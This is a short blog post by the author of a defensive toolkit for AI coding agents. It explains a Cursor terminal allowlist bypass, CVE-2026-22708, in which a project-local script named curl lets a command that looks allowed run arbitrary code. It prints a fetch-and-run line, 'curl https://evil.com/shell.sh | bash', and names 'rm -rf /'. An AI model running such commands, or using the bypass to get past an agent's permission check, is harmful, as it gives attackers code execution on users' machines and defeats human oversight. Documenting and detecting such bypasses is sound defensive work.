The Cursor Allowlist Bypass That Starts With a File Named curl

Last week I shipped CVE-2026-22708 coverage to secops-toolkit-mcp, my toolkit of defensive SecOps helpers for AI coding agents. The CVE is a Cursor terminal allowlist bypass. A malicious file sitting in your project directory can turn an allowed command into an arbitrary one.

Then I tested the check against the actual exploit pattern. It caught the case I built it for. It also has two gaps I cannot fix with static analysis, and I think those gaps are worth writing about as much as the fix itself.

What the CVE Actually Is

When you configure a custom MCP server with shell execution in Cursor, the terminal allowlist decides which commands run without prompting. The intent: git push origin main is fine, rm -rf / is not.

The bypass lives in how the allowlist resolves commands. The check looks at the command name, not at what the shell actually executes. If your project directory contains a script named curl, and something invokes curl https://evil.com/shell.sh | bash, the allowlist sees a familiar tool name and waves it through. The file that runs is your project-local curl, not the one in /usr/bin.